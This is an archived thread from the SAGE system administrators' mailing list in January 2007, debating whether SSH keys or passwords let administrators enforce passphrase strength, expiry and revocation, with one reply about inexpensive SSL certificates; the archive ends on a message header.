	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Mon, 22 Jan 2007 12:15:33 -0600 (CST)
Date: Mon, 22 Jan 2007 12:15:34 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: Larry Underhill <lgu@pobox.com>
cc: sage-members@usenix.org, general@brlug.net
Message-ID: <2710202596.20070122121534@puryear-it.com>
In-Reply-To: <1169488797.5795.46.camel@lgu-laptop>
References: <410572049.20070122085528@puryear-it.com>
References: <1169488797.5795.46.camel@lgu-laptop>
Subject: Re[2]: [SAGE] The danger of SSH keys..
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.7 required=5.0 tests=AWL,BAYES_50,
	FORGED_MUA_THEBAT_CS autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

And that last point is what concerns me.

With passwords on servers, *I* control the minimum strength. I can
require a certain complexity, that one exists, etc. With SSH keys,
that is difficult if not impossible to do.

So, to me, while SSH keys may set the bar higher initially, I
ultimately have more control with passwords.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm


Monday, January 22, 2007, 11:59:57 AM, you wrote:

> On Mon, 2007-01-22 at 08:55 -0600, Dustin Puryear wrote:

>> If I have a system that doesn't allow keys, I can check for weak
>> passwords in the local system password database using various tools.
>> But I can't really *ENFORCE* a check against user keys (i.e., I can't
>> check for weak passwords or no passwords).

> You can check for passphrase-less keys by attempting to load the key
> into an ssh-agent. If it loads up, then you have a key with no
> passphrase. 

> Regarding strength, I'd be inclined to write a wrapper around
> ssh-keygen. You could grab the passphrase before generating the key and
> create some dummy, using that passphrase as the passwd. This would allow
> you to enforce the same password policy that you have specified via
> PAM. 

> If all was well, ssh-keygen could then generate the key pair. 

> Dunno how I would restrict key pair generation to just my wrapper script
> though... 

> --Larry




From sage-members-owner@usenix.org Mon Jan 22 10:18:49 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIImlA023918
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 10:18:49 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MIImab023917
	for sage-members-0utGoign; Mon, 22 Jan 2007 10:18:48 -0800 (PST)
Received: from newwinkle.deer-run.com (newwinkle.deer-run.com [67.18.149.10])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIIEWV023833
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 10:18:36 -0800 (PST)
Received: from deer.deer-run.com (newwinkle.deer-run.com [67.18.149.10] (may
	be forged))
	by newwinkle.deer-run.com (8.13.1/8.13.1) with ESMTP id l0MII0H7002779; 
	Mon, 22 Jan 2007 12:18:01 -0600
Received: (from hal@localhost)
	by deer.deer-run.com (8.11.7p1+Sun/8.11.6) id l0MII0U07365;
	Mon, 22 Jan 2007 10:18:00 -0800 (PST)
Date: Mon, 22 Jan 2007 10:18:00 -0800
From: Hal Pomeranz <hal@deer-run.com>
To: Bryan Fullerton <bryanf@samurai.com>
Cc: SAGE Members Mailing List <sage-members@usenix.org>
Subject: Re: [SAGE] The danger of SSH keys..
Message-ID: <20070122181800.GB7195@deer-run.com>
References: <410572049.20070122085528@puryear-it.com>
	<1255865152.20070122113513@puryear-it.com>
	<45B4FD68.2030000@samurai.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <45B4FD68.2030000@samurai.com>
User-Agent: Mutt/1.4i
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2
	(newwinkle.deer-run.com [67.18.149.10]);
	Mon, 22 Jan 2007 12:18:02 -0600 (CST)
X-Scanned-By: MIMEDefang 2.56 on 67.18.149.10
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

> It doesn't seem like it would be monumentally hard to add a check in the 
> various OpenSSH binaries to require a non-empty key passphrase of a 
> certain minimum length.

Agree with this part.

> If you're not up to coding it yourself you could submit a feature 
> request (with associated offer to fund development if you really want 
> it). If the OpenSSH folks added it themselves it could likely be managed 
> via an associated config option.

The problem with doing this is a config option is that any such checks
would of course have to be implemented in the client binaries (including
ssh-keygen).  The problem is that there's no way to enforce global 
administrative policies on the client side, because the user can always
override configuration settings in ssh_config with command-line options.
It's similar to the problem of trying to enforce StrictHostKeyChecking
across an entire site.

-- 
Hal Pomeranz, Founder/CEO      Deer Run Associates      hal@deer-run.com
    Network Connectivity and Security, Systems Management, Training


From sage-members-owner@usenix.org Mon Jan 22 10:23:52 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MINp4r024404
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 10:23:52 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MINpXr024402
	for sage-members-0utGoign; Mon, 22 Jan 2007 10:23:51 -0800 (PST)
Received: from ettin.watson-wilson.ca (watson-wilson.ca [216.138.221.7])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MINKdY024330
	for <sage-members@sage.org>; Mon, 22 Jan 2007 10:23:34 -0800 (PST)
Received: by ettin.watson-wilson.ca (Postfix, from userid 1000)
	id 207C33ADDE; Mon, 22 Jan 2007 13:23:07 -0500 (EST)
Date: Mon, 22 Jan 2007 13:23:07 -0500
From: Neil Watson <sage@watson-wilson.ca>
To: sage-members@sage.org
Subject: Re: [SAGE] The danger of SSH keys..
Message-ID: <20070122182307.GD28453@watson-wilson.ca>
References: <410572049.20070122085528@puryear-it.com>
	<1255865152.20070122113513@puryear-it.com>
	<45B4FD68.2030000@samurai.com> <20070122181800.GB7195@deer-run.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Disposition: inline
In-Reply-To: <20070122181800.GB7195@deer-run.com>
X-Message-Flag: Outlook is a dangerous and insecure program (Magic 8 ball:
	Outlook not good)
X-Accepted-File-Formats: No proprietary Microsoft Office files please
User-Agent: Mutt/1.5.13 (2006-08-11)
X-watson-wilson.ca-MailScanner: Not scanned: please contact your Internet
	E-Mail Service Provider for details
X-watson-wilson.ca-MailScanner-From: sage@watson-wilson.ca
X-Spam-Status: No
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

There are times when there is a legitimate reason for using a key with
no pass-phrase.  Globally restricting this may cause a problem even as
it solves another.

-- 
Neil Watson             | Debian Linux
System Administrator    | Uptime 9 days
http://watson-wilson.ca


From sage-members-owner@usenix.org Mon Jan 22 10:32:19 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIWIvh025287
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 10:32:19 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MIWIpr025286
	for sage-members-0utGoign; Mon, 22 Jan 2007 10:32:18 -0800 (PST)
Received: from mcs.anl.gov (cliff.mcs.anl.gov [140.221.9.17])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIVhVi025243
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 10:32:02 -0800 (PST)
Received: from mcs.anl.gov (harley.mcs.anl.gov [140.221.11.69])
	by mcs.anl.gov (8.11.6/8.9.3) with ESMTP id l0MINhC139460;
	Mon, 22 Jan 2007 12:23:43 -0600
Message-Id: <200701221823.l0MINhC139460@mcs.anl.gov>
To: Leon Towns-von Stauber <leonvs@occam.com>
cc: "Dustin Puryear" <dustin@puryear-it.com>,
	SAGE Members Mailing List <sage-members@usenix.org>, general@brlug.net
Subject: Re: [SAGE] The danger of SSH keys.. 
In-reply-to: Your message of "Mon, 22 Jan 2007 08:42:21 PST."
	<34f63e5e69e99445d121422c14c3ce89@occam.com> 
Date: Mon, 22 Jan 2007 12:23:42 -0600
From: Gene Rackow <rackow@mcs.anl.gov>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

I agree that having "passwords" on a system make it easier for you
to enforce a complexity policy on them.  You'd need to know the
clear-text at some point to be able to set and/or check that the
password entered is valid.  Unfortunately the fact that it's a
reusable password means that it's vulnerable.  It doesn't matter if
that password is store as crypt, MD5, blowfish, or something really
ugly.  It also doesn't matter if that password is in /etc/passwd,
NIS, LDAP, kerberos, or even an ssh-pass-phrase.  Let someone crack
that password or shoulder surf you sometime and they now have the
keys to the kingdom.   Once that happens, what's going to stop the
hacker from getting onto the target machine at 3am Sunday morning?

The core of the issues here are recognizing the risks involved with
each of the options, and finding ways of mitigating those risks.
Then re-examining those risks in regards to the stupid user tricks
that will be used to get around the policy and/or mitigations.

If people are worried about setting a corp policy, they could
maintain the list of pub/private keys and which have been checked
out by some security official for complexity.  Lots of work for
someone, and not necessarily all that useful.  Once the keys
are created, the user could easily change the password on the
private key.  It really doesn't prevent the user from putting that
pass phrase on a postit on their keyboard.

I've also seen where a site forced people to use a crypto card.
To get around needing to carry that with you all the time, someone
set one up in front of a web-cam.  Now to login, that user goes
to the web page and is able to read the latest string shown.  Doh...
If your crypto card needs a button push, just rig up a little solenoid.

I'm a little more paranoid than that.
My private key is maintained via my laptop, not on a shared system
home directory.  It has been moved off to a usb device, so that it
isnt' even on my laptop if/when someone might steal it.  The usb
is on my keyring, not in my laptop bag.  My passphrase stays local
on that laptop so I'm not as concerned about the remote machine being
root-kitted and someone getting the passphase that way.   The laptop is
also rather tightly locked down on what services are available when.

This also means that nobody will be able to automaticly audit this key
for password complexity, etc.  It's not a key they have access to.  If
I need to generate a key that matches some complexity rules, that can be
done, but I'd rather not make the private key for any session even
semi-public.  Different keys are in place for connecting to different
hosts or sites.


/~\ The ASCII         Gene Rackow               email: rackow@anl.gov
\ / Ribbon Campaign   Cyber Security Office     voice: 630-252-7126
 X  Against HTML      Argonne National Lab      
/ \ Email!            9700 S. Cass Ave. / Argonne, IL  60439


From sage-members-owner@usenix.org Mon Jan 22 10:47:49 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIlegS026289
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 10:47:45 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MIld0f026286
	for sage-members-0utGoign; Mon, 22 Jan 2007 10:47:39 -0800 (PST)
Received: from st01.samurai.com (st01.samurai.com [205.207.28.71])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIlE7x026244
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 10:47:25 -0800 (PST)
Received: from h216-235-8-77.host.egate.net ([216.235.8.77] helo=[192.168.2.5])
	by st01.samurai.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.62)
	(envelope-from <bryanf@samurai.com>) id 1H94CD-0003yp-K0
	for sage-members@usenix.org; Mon, 22 Jan 2007 13:47:09 -0500
Message-ID: <45B506AC.7090905@samurai.com>
Date: Mon, 22 Jan 2007 13:47:08 -0500
From: Bryan Fullerton <bryanf@samurai.com>
User-Agent: Thunderbird 1.5.0.9 (Macintosh/20061207)
MIME-Version: 1.0
To: SAGE Members Mailing List <sage-members@usenix.org>
Subject: Re: [SAGE] The danger of SSH keys..
References: <410572049.20070122085528@puryear-it.com>
	<1255865152.20070122113513@puryear-it.com>
	<45B4FD68.2030000@samurai.com> <20070122181800.GB7195@deer-run.com>
In-Reply-To: <20070122181800.GB7195@deer-run.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Antivirus-Scanner: Clean mail though you should still use an Antivirus
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Hal Pomeranz wrote:
>> If you're not up to coding it yourself you could submit a feature 
>> request (with associated offer to fund development if you really want 
>> it). If the OpenSSH folks added it themselves it could likely be managed 
>> via an associated config option.
>>     
>
> The problem with doing this is a config option is that any such checks
> would of course have to be implemented in the client binaries (including
> ssh-keygen).  The problem is that there's no way to enforce global 
> administrative policies on the client side, because the user can always
> override configuration settings in ssh_config with command-line options.
> It's similar to the problem of trying to enforce StrictHostKeyChecking
> across an entire site.
>
>   
True, and it doesn't get around people installing their own client binaries.

I wonder if there'd be value in extending the SSH protocol to also allow 
encrypting the public key with a passphrase, which could then be 
validated for length on the server during initial handshake.

Bryan



From sage-members-owner@usenix.org Mon Jan 22 10:51:36 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIpZg0026726
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 10:51:35 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MIpZmu026725
	for sage-members-0utGoign; Mon, 22 Jan 2007 10:51:35 -0800 (PST)
Received: from sj-iport-6.cisco.com (sj-iport-6.cisco.com [171.71.176.117])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MIpG5r026691
	for <sage-members@sage.org>; Mon, 22 Jan 2007 10:51:26 -0800 (PST)
Received: from sj-dkim-4.cisco.com ([171.71.179.196])
	by sj-iport-6.cisco.com with ESMTP; 22 Jan 2007 10:51:06 -0800
X-IronPort-AV: i="4.13,221,1167638400"; 
	d="scan'208"; a="104237171:sNHT42604272"
Received: from sj-core-1.cisco.com (sj-core-1.cisco.com [171.71.177.237])
	by sj-dkim-4.cisco.com (8.12.11/8.12.11) with ESMTP id l0MIp5JF019608; 
	Mon, 22 Jan 2007 10:51:05 -0800
Received: from [171.71.87.110] (dhcp-171-71-87-110.cisco.com [171.71.87.110])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id l0MIp1Dk016088;
	Mon, 22 Jan 2007 10:51:03 -0800 (PST)
Message-ID: <45B5078F.7060309@chycoski.com>
Date: Mon, 22 Jan 2007 10:50:55 -0800
From: Richard Chycoski <rskiadmin@chycoski.com>
Reply-To: rskiadmin@chycoski.com
User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: sage-members@sage.org
CC: Neil Watson <sage@watson-wilson.ca>
Subject: Re: [SAGE] The danger of SSH keys..
References: <410572049.20070122085528@puryear-it.com>
	<1255865152.20070122113513@puryear-it.com>
	<45B4FD68.2030000@samurai.com> <20070122181800.GB7195@deer-run.com>
	<20070122182307.GD28453@watson-wilson.ca>
In-Reply-To: <20070122182307.GD28453@watson-wilson.ca>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Authentication-Results: sj-dkim-4; header.From=rskiadmin@chycoski.com;
	dkim=neutral
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Yes - passphrases associated with a specific command (rather than an open 
shell) and with the private keys stored on properly controlled machines are an 
example where passwordless keys can be an acceptable security risk for many 
environments.

It all depends on your security needs, the environment in which the keys are 
being stored, and the medium across which the data is being transported.

With properly secured endpoints I do not have a problem with passwordless keys 
in a controlled environment. This is better than a weak password - it takes a 
lot more work (and computing power) to attack a system that has a passwordless 
SSH key (assuming a reasonably large key size - a few years ago RSA was 
recommending at least a 2048 bit key, I haven't heard if they have increased 
that recommendation lately) than to crack an even reasonably crafted system 
password. (And users have ways of crafting passwords that satisfy most 
rulesets but are still crackable.) And I've never seen someone write down 
their SSH private key and leave it attached to the their monitor. (:-)

However, if the private key is stored on a personal laptop that can be lost or 
stolen, I'm more concerned. If you have that kind of security problem then 
disallow the use of keys and start requiring two-factor authentication, 
preferably with a hardware token. You can also strengthen this by using 
encrypted filesystems and stronger access methods for the laptops, but this 
can be difficult to implement and enforce in many organisations unless 
mandated by law.

Somewhere in the middle is a grey area - do you trust passwordless keys from 
desktops (non-portable systems) that are located on your intranet? SSH 
keyagents can help, but can also create more loopholes than passwordless keys.

You have to evaluate the level of security that you need against the risk of 
being compromised and apply it to your own environment.

- Richard


Neil Watson wrote:
> There are times when there is a legitimate reason for using a key with
> no pass-phrase.  Globally restricting this may cause a problem even as
> it solves another.
> 


From sage-members-owner@usenix.org Mon Jan 22 11:02:30 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MJ2OqE027504
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 11:02:24 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MJ2O1M027500
	for sage-members-0utGoign; Mon, 22 Jan 2007 11:02:24 -0800 (PST)
Received: from mail.puryear-it.com ([72.242.176.166])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MJ1sNL027454
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 11:02:06 -0800 (PST)
Received: from mail.puryear-it.com (localhost.localdomain [127.0.0.1])
	by mail.puryear-it.com (8.13.1/8.13.1) with ESMTP id l0MJ1UqW022778;
	Mon, 22 Jan 2007 13:01:30 -0600
Received: from mail.puryear-it.com (root@localhost)
	by mail.puryear-it.com (8.13.1/8.13.1/Submit) with ESMTP id
	l0MJ1T3u022774; Mon, 22 Jan 2007 13:01:30 -0600
Received: from localhost (heavy.puryear-it.com 192.168.222.5)
	by mail.puryear-it.com (Scalix SMTP Relay 10.0.1.3)
	via ESMTP; Mon, 22 Jan 2007 13:01:29 -0600 (CST)
Date: Mon, 22 Jan 2007 13:01:29 -0600
From: "Dustin Puryear" <dustin@puryear-it.com>
Reply-To: "Dustin Puryear" <dustin@puryear-it.com>
To: Bryan Fullerton <bryanf@samurai.com>
cc: SAGE Members Mailing List <sage-members@usenix.org>
Message-ID: <1096018946.20070122130129@puryear-it.com>
In-Reply-To: <45B506AC.7090905@samurai.com>
References: <410572049.20070122085528@puryear-it.com>
References: <1255865152.20070122113513@puryear-it.com>
References: <45B4FD68.2030000@samurai.com>
References: <20070122181800.GB7195@deer-run.com>
References: <45B506AC.7090905@samurai.com>
Subject: Re[2]: [SAGE] The danger of SSH keys..
X-Priority: 3 (Normal)
x-scalix-Hops: 1
X-Mailer: The Bat! (v3.80.06) Professional
Organization: Puryear Information Technology, LLC
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Disposition: inline
X-Spam-Status: No, score=1.7 required=5.0 tests=AWL,BAYES_50,
	FORGED_MUA_THEBAT_CS autolearn=no version=3.0.5
X-Spam-Level: *
X-Spam-Checker-Version: SpamAssassin 3.0.5 (2005-11-28) on mail.puryear-it.com
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

And to me, that is where strength should be added: At the server. The
main issue I am raising with keys is that the security of the key is
entirely a client issue. There is no way for me to really enforce
anything on the server.

With keys, I want the ability to:

1. Expire keys at the server, even if that means rotating the public
key out of authorized_keys2 (this could be done today using scripts).

2. Remove public keys when an employee is fired. Really, this can all
be handled now via homedirs, requiring sudo, and protecting my root
authorized_keys2.

3. Require private keys to have strong passwords (no realistic way to
enforce this).

With this, I think the strength in using SSH keys could be
dramatically increased.

---
Puryear Information Technology, LLC
Baton Rouge, LA * 225-706-8414
http://www.puryear-it.com

Author:
  "Best Practices for Managing Linux and UNIX Servers"
  "Spam Fighting and Email Security in the 21st Century"

Download your free copies:
  http://www.puryear-it.com/publications.htm


Monday, January 22, 2007, 12:47:08 PM, you wrote:

> Hal Pomeranz wrote:
>>> If you're not up to coding it yourself you could submit a feature 
>>> request (with associated offer to fund development if you really want 
>>> it). If the OpenSSH folks added it themselves it could likely be managed 
>>> via an associated config option.
>>>     
>>
>> The problem with doing this is a config option is that any such checks
>> would of course have to be implemented in the client binaries (including
>> ssh-keygen).  The problem is that there's no way to enforce global 
>> administrative policies on the client side, because the user can always
>> override configuration settings in ssh_config with command-line options.
>> It's similar to the problem of trying to enforce StrictHostKeyChecking
>> across an entire site.
>>
>>   
> True, and it doesn't get around people installing their own client binaries.

> I wonder if there'd be value in extending the SSH protocol to also allow
> encrypting the public key with a passphrase, which could then be 
> validated for length on the server during initial handshake.

> Bryan



From sage-members-owner@usenix.org Mon Jan 22 11:04:32 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MJ4VCm027760
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 11:04:31 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MJ4UZU027759
	for sage-members-0utGoign; Mon, 22 Jan 2007 11:04:30 -0800 (PST)
Received: from out4.smtp.messagingengine.com (out4.smtp.messagingengine.com
	[66.111.4.28])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MJ4Bx7027713
	for <sage-members@sage.org>; Mon, 22 Jan 2007 11:04:22 -0800 (PST)
Received: from out1.internal (unknown [10.202.2.149])
	by out1.messagingengine.com (Postfix) with ESMTP id 7F25E9308B;
	Mon, 22 Jan 2007 14:03:59 -0500 (EST)
Received: from heartbeat1.messagingengine.com ([10.202.2.160])
	by out1.internal (MEProxy); Mon, 22 Jan 2007 14:03:59 -0500
X-Sasl-enc: 0HpM4jfCuEZsS2JbeumrxjEgnkO+zTiOrfUoJYMMgm31 1169492639
Received: from way-too-hosed.mit.edu (c-24-128-48-242.hsd1.ma.comcast.net
	[24.128.48.242])
	by mail.messagingengine.com (Postfix) with ESMTP id EFC16274BA;
	Mon, 22 Jan 2007 14:03:58 -0500 (EST)
Received: by way-too-hosed.mit.edu (Postfix, from userid 5001)
	id C4A252B7AE; Mon, 22 Jan 2007 14:03:57 -0500 (EST)
From: seph <seph@directionless.org>
To: philiph@pobox.com
Cc: Jonathan Billings <billings@negate.org>, sage-members@sage.org
Subject: [SAGE] Re: Are cheap SSL certificates legitimate?
References: <9516.1169229868@mental.com>
	<20070119135352.E38307@aphrodite.acf.aquezada.com>
	<D0AA9836-467D-4F89-8767-C8620F28B41B@stanford.edu>
	<45B125F8.8050307@negate.org>
	<55E31D63-F9CA-47B9-B503-3072C11D2F0A@stanford.edu>
	<45B12BAE.3070007@negate.org> <20070120001725.GQ20885@hollenback.net>
Date: Mon, 22 Jan 2007 14:03:57 -0500
In-Reply-To: <20070120001725.GQ20885@hollenback.net> (Philip J. Hollenback's
	message of "Fri, 19 Jan 2007 19:17:25 -0500")
Message-ID: <w52odoqnasi.fsf@lame.message.id>
User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/21.3 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=6%
Sender: owner-sage-members@usenix.org
Precedence: bulk

"Philip J. Hollenback" <philiph@pobox.com> writes:

> But in this case I think I have to pay for something.  Otherwise I
> will have to spend a large amount of time configuring all the
> different clients and operating systems.

This is easier than you make it sound. But I haven't bothered setting
up an office CA, so I'm not really one to talk.

> Thus I really want to know if these 'cheap' certificates are
> sufficient and I'm not somehow opening myself up to some sort of
> security problem later on.

It's PKI. If your clients already trust that CA, then you're already
vulnerable to errors from them.

Chained certs shouldn't be visible to the clients, they're just a bit
harder to install and deal with on the server side.

FTR I use rapidssl because they're the cheapest thing I'd found whose
CA is trusted by everything I need. I haven't had any problems.

seph


From sage-members-owner@usenix.org Mon Jan 22 11:13:04 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MJD0fQ028645
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 11:13:01 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MJD0LQ028644
	for sage-members-0utGoign; Mon, 22 Jan 2007 11:13:00 -0800 (PST)
Received: from hexogen.explosive.net (hexogen.explosive.net [216.27.184.5])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MJCTmr028612
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 11:12:43 -0800 (PST)
Received: from localhost (localhost.localdomain [127.0.0.1])
	by hexogen-lo0.explosive.net (Postfix) with ESMTP id 069DB66C038;
	Mon, 22 Jan 2007 11:12:24 -0800 (PST)
Date: Mon, 22 Jan 2007 11:12:23 -0800 (PST)
From: Eric Sorenson <eric@explosive.net>
To: Dustin Puryear <dustin@puryear-it.com>
cc: sage-members@usenix.org, general@brlug.net
Subject: Re[2]: [SAGE] The danger of SSH keys..
In-Reply-To: <2710202596.20070122121534@puryear-it.com>
Message-ID: <Pine.LNX.4.64.0701221106320.15077@hexogen.explosive.net>
References: <410572049.20070122085528@puryear-it.com>
	<2710202596.20070122121534@puryear-it.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mon, 22 Jan 2007, Dustin Puryear wrote:

> And that last point is what concerns me.
> 
> With passwords on servers, *I* control the minimum strength. I can
> require a certain complexity, that one exists, etc. With SSH keys,
> that is difficult if not impossible to do.
> 
> So, to me, while SSH keys may set the bar higher initially, I
> ultimately have more control with passwords.

Yep, we push a different set of configs to our locked-down servers that 
a) restricts logins to members of a particular group via PAM, and 
b) turns off all login services except ssh, and
c) disables key-based auth for the staff who are allowed to log in.

This protects against the threat of passwordless keys plus an 
escalation-of-privilege type attack where the attacker puts her own 
key into another user's authorized_keys file.

-- 
 - Eric Sorenson - N37 17.255 W121 55.738  - http://ahpook.vox.com/   -
 - Personal colo with a professional touch - http://www.explosive.net -


From sage-members-owner@usenix.org Mon Jan 22 11:43:57 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MJhuqq000555
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 11:43:57 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0MJhuKY000554
	for sage-members-0utGoign; Mon, 22 Jan 2007 11:43:56 -0800 (PST)
Received: from st01.samurai.com (st01.samurai.com [205.207.28.71])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0MJhVtF000516
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 11:43:42 -0800 (PST)
Received: from h216-235-8-77.host.egate.net ([216.235.8.77] helo=[192.168.2.5])
	by st01.samurai.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.62)
	(envelope-from <bryanf@samurai.com>) id 1H954g-00069Q-6h
	for sage-members@usenix.org; Mon, 22 Jan 2007 14:43:26 -0500
Message-ID: <45B513DC.3020605@samurai.com>
Date: Mon, 22 Jan 2007 14:43:24 -0500
From: Bryan Fullerton <bryanf@samurai.com>
User-Agent: Thunderbird 1.5.0.9 (Macintosh/20061207)
MIME-Version: 1.0
To: SAGE Members Mailing List <sage-members@usenix.org>
Subject: Re: [SAGE] The danger of SSH keys..
References: <410572049.20070122085528@puryear-it.com>
	<1096018946.20070122130129@puryear-it.com>
In-Reply-To: <1096018946.20070122130129@puryear-it.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Antivirus-Scanner: Clean mail though you should still use an Antivirus
